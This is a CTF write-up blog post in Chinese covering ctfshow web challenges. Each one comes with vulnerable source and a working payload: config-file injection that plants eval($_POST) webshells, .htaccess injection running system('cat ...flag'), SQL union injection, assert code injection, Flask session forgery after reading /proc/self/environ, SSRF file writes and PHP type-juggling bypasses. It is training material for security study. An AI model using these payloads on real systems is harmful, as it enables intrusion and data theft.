【ctfshow】web入门-大赛原题

做一题更新一题吧

WEB692

绕过addslashes并写入文件配置getshell
题目代码

1
2
3
4
5
6
7
8
9
<?php

highlight_file(__FILE__);

if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

首先看一下addslashes() 函数的作用:
addslashes() 函数会将预定义的字符前添加反斜杠字符串
预定义字符有单引号,双引号,反斜杠,NULL四个
效果如图,会添加上\

所以当我们传入?option=a\';phpinfo();//
会变为a\\\';phpinfo();//

接着看preg_replace函数
preg_replace($pattern, $replacement, $string);
搜索string中匹配pattern的部分,以replacement进行替换。

最终config.php的内容为

1
2
<?php
$option='a\\';phpinfo();//';

这样就构造了一个phpinfo();

所以直接上传php马
?option=a\';eval($_POST[a]);//

WEB701

出自HarekazeCTF2019-A_Z
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const express = require('express');
const path = require('path');
const vm = require('vm');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
try {
const result = vm.runInNewContext(code, {}, { timeout: 500 });
if (result === 1337) {
output = process.env.FLAG;
} else {
output = 'nope';
}
} catch (e) {
output = 'nope';
}
} else {
output = 'nope';
}
res.render('index', { title: '[a-z().]', output });
});

app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;

我们只能使用[a-z().]这些字符构造出1337

1
2
3
if (result === 1337) {
output = process.env.FLAG;
}

我们可以用(typeof(this)).constructor()构造出空字符串,而JS中1==true,所以(typeof(this)).constructor().length.constructor(true)就会构造出1,或者true.constructor.length。3可以用字符串的big()方法的name.length获得,7可以用true.constructor.name.length得到。最后将所有字符concat在一起即可。

所以最后Payload(不唯一):eval((typeof(this)).constructor().concat(true.constructor.length).concat((typeof(this)).big.name.length).concat((typeof(this)).big.name.length).concat(true.constructor.name.length))

WEB712

出自XNUCA 2019 EasyPHP

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) !== 0) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

2-9,25-32行的意思是删除除了文件名是index.php的文件
10行包含了fl3g.php文件
16-19对content参数,也就是文件内容进行了关键词过滤
21-24对filename参数进行了正则过滤,使文件名只允许出现a-z和点

分析完后发现好像对我们写shell没什么影响
。。传完后发现不能解析,应该是出题的时候设置了只能解析index.php

这个时候想到了之前做文件上传时经常用到的.htaccess,直接设置AddType或者SetHandler不就行了吗,但是回过去看那些看似无用的关键词过滤,实际上把这两种情况禁用了

而且内容中还拼接了Just one chance,在.htaccess中会报错,所以要把它注释掉,先利用\拼接上下两行,再用#注释

既然可以用\,那么也就可以绕过过滤了,从而写入被限制的内容

1
2
3
4
5
6
7
@autor: Iv4n

import requests

url = 'http://f47cd164-0248-4cca-993d-8610c32a4aa1.challenge.ctf.show/'
r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat%20../../../fl[a]g\');?>\\')
print(r.text)

php_value auto_prepend_file将自身加载到index.php,然后写一句话木马,直接写的话会导致500,所以通过ErrorDocument 404

WEB720

sha1的强比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
include "flag.php";

if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
highlight_file(__FILE__);
}

找到两个sha1后相等的值即可

1
?name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

WEB721

F12看源码

1
2
3
4
5
<!-- CTFSHOW hint:
if (($row[pass]) && (!strcasecmp(md5($pass), $row[pass]))) {
echo "<p>Logged in! ".$flag." </p>";
}
-->

从数据库中提取出pass 然后逻辑与 与右边的(!strcasecmp($pass, $row[pass])) 两条语句都为真才会打印出flag

构造一个联合查询:这样第一条语句查询a这个用户查不到,然后第二个根据特性会返回这个结果到password字段下

payload:

1
2
username:a' union select md5(1)#
password:1

WEB726

F12看源码
跟WEB692一样,是Php写入配置文件的经典漏洞

1
2
3
4
5
<!-- CTFSHOW hint:
$file = file_get_contents('config.php');
$file = preg_replace('|\$db=\'.*\';|', "\$db='$username';", $file);
file_put_contents('config.php', $file);
-->

但是用692的方法做不出来,这里用其他方法(利用 preg_replace() 函数的第二个参数的问题)

我们首先传入username=;eval($_POST[1]);

这时,config.php文件中的内容为

1
2
<?php
$option=';phpinfo();';

因为在preg_replace函数中\\0$0代表完整的模式匹配文本

所以当我们传入username=$0
config.php的内容就变成了

1
2
<?php
$db='$db=';eval($_POST[1]);';';

两个单引号刚好闭合上,成功构造出eval函数

访问config.php,传入1=system('tac flag.php');,拿到flag

WEB728

F12看源码

1
2
3
4
<!-- CTFSHOW hint:
$file = "templates/" . $page . ".php"; //将page变量拼接成一个templates下的php文件,设置为变量file
assert("strpos('$file', '..') === false") or die("hack!"); //判断file中是否有" .. ",如果有则直接退出
-->

利用')闭合,并使用//注释后面的内容,以执行我们的命令

payload:
1') or system('tac ./templates/flag.php');//

WEB729

F12看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- CTFSHOW hint:
$flag_input = $_POST['flag'];
if((strcmp(flag_input,$flag)))
{
die("flag不正确");
}
$_p = 6543;
$_l = 21;

$l = strlen($_GET['secret']);
$_i = intval($_GET['secret']);
if($l !== $_l || $_i !== $_p)
{
die("系统异常");
}

echo "< !--$flag-- >";
-->

我们需要过两个if的判断

第一个if:
strcmp()函数的作用是比较两个字符串,相同则为0。因为strcmp函数无法比较数组,会返回0,将flag输入为数组即可绕过。

第二个if:
要满足两个条件,长度为21,整数值为6534

综上所述,构造的payload为

1
2
POST /?secret=6543aaaaaaaaaaaaaaaaa
flag[]=1

WEB731

F12看到hint
一个sha1的弱比较
传入一个0e开头的值即可

1
2
3
4
5
6
7
8
<!-- CTFSHOW hint:
$hash = sha1($_GET['hash']);
$target = sha1(10932435112);
if($hash == $target) {
include('flag.php');
print $flag;
}
-->

参考值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
aaroZmOk:0e66507019969427134894567494305185566735
aaK1STfY:0e76658526655756207688271159624026011393
aaO8zKZF:0e89257456677279068558073954252716165668
aa3OFF9m:0e36977786278517984959260394024281014729
w9KASOk6Ikap:0e94685489941557404937568181716894429726
CZbnUtm/wD+0:00e6513589156647795423839906410117726741
RSnake33ncxYMsiIgw:00e0446570916533934353629798824448898569
hashcatRhtkuysFOYYh:0ec6007027368764166354656983137779429045
hashcat7YfJg9x6AqNA:0e50220802416020462770479580634172053582
hashcatJbYtCyUf7I3K:00e9121985231400931761319208500866143806
hashcatZJCFhv5hhkxM:0e22622630708604282251577618083953362629
hashcat7gqQ5KzDJRDe:0e89084512868781863087376038568650856166
hashcatU4BRJMv0wZQ9:0e26648206422262155598429612413699840868
hashcat6gP5u3LfjkB4:00e4745251895202147342658062640046218324
hashcatGqnE8xnyDXTf:0e15969028436788874806413050149455726924
hashcatirBCZWadC4V6:0e31649851810187193299309281808938075168
hashcat0vScS1X5pWWD:00e8504108085943725027274200432213595492
hashcat46AOYaAyyXRm:0e12074483623118174676713113381129899097
hashcatHArOfcXelAhD:00e4559098389903496918609646734123833089
hashcatQH5Q477JNSPy:0e55688066453591945830139349969019185986
hashcatw1ZBfRtYm5oM:0e05033562275990914578610618694299895931
hashcatoSz6YKuiFR3Y:0ee0160094252962728385313526058227602671
hashcatypQJbFRa1dZt:0e55105030693666790285044072061907048558
hashcatFN2n52JGTFx5:0e44883634200812439498749585501922916636
0e00000000000000000000081614617300000000:0e65307525940999632287492285468259219070
0e00000000000000000000721902017120000000:0e94981159498252295418182453841140483274
0e01011001101011010001101110101100101000:0e48906523151976751117677463787111106598
0e11001000001010011000100000010001101000:0e63407184960930419027062777705081379452
0e01000001100000001010011011001000000100:0e55962072388397083814346733718698213796
0e10011110000101101000011101011010100100:0e31188585417285828785355336774237712792
0e01010111000111111010101011010111010100:0e45906344569616659428808892091261969181
0e00100001110000001111010000010011101100:0e14860258669052332549568607710438132953
0e11110000111010001001101111111110010010:0e12174258436385758552874426941686538483
0e10111110011100101100010101111010000110:0e99774398282593376043462038572281385389
0e11001111110111110010111010000011110110:0e63185221301034624940345471074357888797
0e00001010010101100100101011101110001110:0e90943988772171749054413593888105986782
0e01011101110010111011110010010010101110:0e01608800192659803576771346607441737826
0e10111110101111001000000100011101101110:0e49094541458479495263034294421025186938
0e11100111101110011010111001010101111110:0e55770706149948760086200713505841887543
0e11111001010101100110011001010001110001:0e91120687121163809515824135435029958137
0e01000111101111110010010010000001001001:0e78071797328546369301825420848872451849
0e00100110100010100110001101110110110101:0e06077380408260614659219920561082767632
0e11111100001011000011110100100010111101:0e12149120354415335220758399492713921588
0e00111100110101101001000101011011111101:0e38661126569790555598431905065403870516
0e10100011100101000001110010100110100011:0e55745078154640212511596259055910278070
0e10011110011111001001100100000111011011:0e20319731123101477913295720812414482217
&O&GKtn&54xQ:00e8144605926111857621787045161777776795
Sk~HOM&QzJXl:00e8943083323373991014599597566984182387
1023456852390915:0e26379374770352024666148968868586665768
lowercasegzmgqmx:0e46257280787231943618306073689855362607
lowercasifdvqkfr:0e11372668415308535558155136274413213182
lowercasebchqcwctky:0e63270019212961791900055698786302314274
lowercaseabcsobpkrt:0e54706107047262165256262457226759421225
UPPERCASFFLIIQWR:00e0209539108131630074694125235505223102
MixedCaseERWqTVQ:0e26765837881628507475765845815158037783
MixCaseDigJiRR9d:00e6970695351422324349039381794949865825
Punc!0"*!"#$8!zv:0e77726009946581613829608157794165640009
Punctu!U"F5ru:0e10005769841271999406141555258742283712
Punctuatiow$'l9X:0e16039695246683143323677708220808911326
Punctuati0t..jsI:0e77237948969014118794910091659528041921

WEB732

F12得到hint:password.js

1
2
3
<!-- CTFSHOW hint:
password.js
-->

访问后发现是被混淆过的js代码

1
var _0x575c=['\x32\x2d\x34','\x73\x75\x62\x73\x74\x72\x69\x6e\x67','\x34\x2d\x37','\x67\x65\x74\x49\x74\x65\x6d','\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d','\x31\x32\x2d\x31\x34','\x30\x2d\x32','\x73\x65\x74\x49\x74\x65\x6d','\x39\x2d\x31\x32','\x5e\x37\x4d','\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d','\x62\x62\x3d','\x37\x2d\x39','\x31\x34\x2d\x31\x36','\x6c\x6f\x63\x61\x6c\x53\x74\x6f\x72\x61\x67\x65',];(function(_0x4f0aae,_0x575cf8){var _0x51eea2=function(_0x180eeb){while(--_0x180eeb){_0x4f0aae['push'](_0x4f0aae['shift']());}};_0x51eea2(++_0x575cf8);}(_0x575c,0x78));var _0x51ee=function(_0x4f0aae,_0x575cf8){_0x4f0aae=_0x4f0aae-0x0;var _0x51eea2=_0x575c[_0x4f0aae];return _0x51eea2;};function CheckPassword(_0x47df21){var _0x4bbdc3=[_0x51ee('0xe'),_0x51ee('0x3'),_0x51ee('0x7'),_0x51ee('0x4'),_0x51ee('0xa')];window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12','BE*');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'),_0x51ee('0xb'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'),'5W');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16',_0x51ee('0x9'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'),'pg');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9','+n');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'),'4t');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'),'$F');if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8'))===_0x47df21[_0x51ee('0x1')](0x9,0xc)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2'))===_0x47df21['substring'](0x4,0x7)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6'))===_0x47df21[_0x51ee('0x1')](0x0,0x2)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16')===_0x47df21[_0x51ee('0x1')](0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5'))===_0x47df21[_0x51ee('0x1')](0xc,0xe)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc'))===_0x47df21[_0x51ee('0x1')](0x7,0x9)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd'))===_0x47df21[_0x51ee('0x1')](0xe,0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0'))===_0x47df21[_0x51ee('0x1')](0x2,0x4))return!![];}}}}}}}return![];}

在线解密后js代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
var _0x575c = ['2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage', ];
(function(_0x4f0aae, _0x575cf8) {
var _0x51eea2 = function(_0x180eeb) {
while (--_0x180eeb) {
_0x4f0aae['push'](_0x4f0aae['shift']());
}
};
_0x51eea2(++_0x575cf8);
}(_0x575c, 0x78));
var _0x51ee = function(_0x4f0aae, _0x575cf8) {
_0x4f0aae = _0x4f0aae - 0x0;
var _0x51eea2 = _0x575c[_0x4f0aae];
return _0x51eea2;
};

function CheckPassword(_0x47df21) {
var _0x4bbdc3 = [_0x51ee('0xe'), _0x51ee('0x3'), _0x51ee('0x7'), _0x51ee('0x4'), _0x51ee('0xa')];
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb'));
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'), '5W');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16', _0x51ee('0x9'));
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'), 'pg');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9', '+n');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'), '4t');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'), '$F');
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8')) === _0x47df21[_0x51ee('0x1')](0x9, 0xc)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2')) === _0x47df21['substring'](0x4, 0x7)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6')) === _0x47df21[_0x51ee('0x1')](0x0, 0x2)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16') === _0x47df21[_0x51ee('0x1')](0x10)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5')) === _0x47df21[_0x51ee('0x1')](0xc, 0xe)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc')) === _0x47df21[_0x51ee('0x1')](0x7, 0x9)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd')) === _0x47df21[_0x51ee('0x1')](0xe, 0x10)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0')) === _0x47df21[_0x51ee('0x1')](0x2, 0x4)) return !![];
}
}
}
}
}
}
}
return ![];
}

可以看到密码被拆分成很多部分,且顺序被打乱了,但是元素赋值和检查密码的顺序是一样的

先看第一个:if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8')) === _0x47df21[_0x51ee('0x1')](9, 12))对应的就是9-12位是window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*');,值为’BE*’

第二个:if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2')) === _0x47df21['substring'](4, 7)) {密码的4-7位就是window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb'));,值为_0x51ee('0xb')

其他的以此类推
但是有两个特殊的地方,第4-7和第16
第4-7值为_0x51ee('0xb'),对应的是_0x575c数组的第11位,值为bb=
第16值为_0x51ee('0x9'),对应的是_0x575c数组的第9为,值为^7M

我的分析过程图:

WEB736

题目出自[PASECA2019]honey_shop

打开题目,是一个商店,还有一个价值$1337的flag,但我们只有$1336
所以这一题的目标应该是修改价格来购买flag了

抓包可以看到session的值

通过脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

得到{'balance': 1336, 'purchases': []}
其中balance为当前余额,purchases值为空

如果我们要伪造session,修改余额,那么就需要知道SECRET_KEY的值

页面中还有一个提示*click to download our sweet images*
下载后格式为/download?image=,这种格式容易造成任意文件读取

读取环境变量中的python版本SECRET_KEY

/proc/self/environ:当前正在运行的进程的环境变量列表

拿到SECRET_KEY后就可以进行session伪造了
要注意python3和python2的结果不一样,所以上一步读了python的版本
脚本地址

修改金额后进行伪造
python flask_session_cookie_manager3.py encode -s "ctfshowsecretkeyhereyouneverknow" -t "{'balance': 1337, 'purchases': []}"

再次购买,购买成功

WEB743

F12

1
2
3
4
5
6
7
8
9
<!-- CTFSHOW hint:
if($a != $b && md5($a) == md5($b))
{
if ($c != $d && sha1($c) == sha1($d))
{
echo $flag;
}
}
-->

简单弱比较,传数组

WEB756

/source.txt得到源码

1
2
3
include "flag.php";
$code = $_POST['code'];
eval("var_dump($$code);");

这一题重点是理解$$code

举个例子

$$b其实相当于$($b),所以会输出1

理解后很容易想到php中自带的变量之一$GLOBALS
传入后就会以数组的形式返回值,得到flag

WEB758

/source.txt得到源码

1
2
3
4
5
6
7
$url = $_GET['url'];
$file = './spider/'.$_GET['file'];

if((strpos($url,'http://127.0.0.1/') === 0) || strpos($url,'https://www.baidu.com/') === 0){
file_put_contents($file, file_get_contents($url));
die("文件保存在$file");
}

首先限制了开头的字符串必须是http://127.0.0.1/https://www.baidu.com/
然后从$url获取内容然后写入$file

首先传入?url=http://127.0.0.1/&file=<?php phpinfo();?>

看到成功保存了
那么我们可以将这个内容再次保存到文件中

?url=http://127.0.0.1/?url=http://127.0.0.1/&file=<?php phpinfo();?>&file=1.php

但是要注意的是要因为访问两次所以url编码两次

所以payload为?url=http://127.0.0.1/?url=http://127.0.0.1/%26file=%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E&file=1.php

访问1.php就行了

WEB760

F12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CTFSHOW hint:
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}

$_SERVER["QUERY_STRING"] 获取的是?后面的值,比如http://localhost/aaa/index.php?p=222&q=333$_SERVER['QUERY_STRING'] = "p=222&q=333";

$_GET['^_^']就包含了_,但是$_SERVER["QUERY_STRING"]却不允许有_,这是矛盾的

在php中变量名中的点和空格会被转换成下划线。例如 <input name="a.b" /> 变成了 $_REQUEST["a_b"]
这样我们可以传入^.^来绕过

file_exists判断文件是否存在,这里必须不存在,但是却要file_get_contents读到文件内容

因为http等协议被禁用,所以不能远程包含了,这里采用data://来读取

而且file_exists 对于 data 指向内容判断为不存在

最终的payload为:?^.^=data://text/plain,(●'◡'●)?^.^=data://text/plain;charset=unicode,(●'◡'●)

WEB761

F12

1
2
3
if($value==md5($value)){
echo $flag;
}

百度一个0e开头的值,且这个值md5后还是0e开头

WEB764

source.txt看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
session_start();
if(isset($_GET['id'])){
$login = $_GET['id'];
if(!@isset($login['cookie'])||$login['cookie'] != @md5($_SESSION['flag'])){
die('error!');
}else{
mt_srand(substr($login['cookie'],17,7));
$content = "<?php \$flag="."'".$flag."'"."?>";
$filename = (string)mt_rand().".php";
file_put_contents($filename,$content);
mt_srand(mt_rand());
if ($_POST['key'] == mt_rand())
{
echo file_get_contents(${$_POST[mt_rand()]});
}
}
}

第一个if判断:
因为!isset($login['cookie'])肯定为false
所以要满足$login['cookie']md5($_SESSION['flag'])相等

在本地跑出md5($_SESSION['flag'])结果为d41d8cd98f00b204e9800998ecf8427e

1
2
3
4
5
<?php
session_start();
$a = md5($_SESSION['flag']);
echo $a;
?>

根据题目传?id[cookie]=d41d8cd98f00b204e9800998ecf8427e,不在返回error

else内容分析:
以cookie中第17位开始向后7位,播种随机数生成器

1
mt_srand(substr($login['cookie'],17,7));

拼接字符串和flag,赋给$content

1
$content = "<?php \$flag="."'".$flag."'"."?>";

返回一个随机数,并加上.php后缀,赋给$filename

1
$filename = (string)mt_rand().".php";

写入文件

1
file_put_contents($filename,$content);

以随机数生成器生成的第二个随机数重新生成新的随机数生成器

1
mt_srand(mt_rand());

POST传参,令参数key与新的随机数生成器生成的随机数相等,即可进入IF判断

1
if ($_POST['key'] == mt_rand())

生成第二个随机数

1
echo file_get_contents(${$_POST[mt_rand()]});

本地构写几个mt_rand()结果,源码如下

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
session_start();
mt_srand(substr('d41d8cd98f00b204e9800998ecf8427e',17,7));
echo mt_rand().'</br>';
mt_srand(mt_rand());
echo mt_rand().'</br>';
echo mt_rand().'</br>';
?>

运行结果如下,可以看到结果是固定的,这就是php的伪随机数问题

1
2
3
1160121479</br>
954576979</br>
1277894509</br>

POST传参,参数名为新的随机数生成器生成的第二个随机数

1
echo file_get_contents(${$_POST[mt_rand()]});

最后POST传:key=954576979&1277894509=filename

因为$_POST[mt_rand()]前还有一个$,所以传入的filename会变成$filename,这样就读到了flag


【ctfshow】web入门-大赛原题
https://www.dr0n.top/posts/bb1e6cfa/
作者
dr0n
发布于
2021年10月4日
更新于
2024年3月21日
许可协议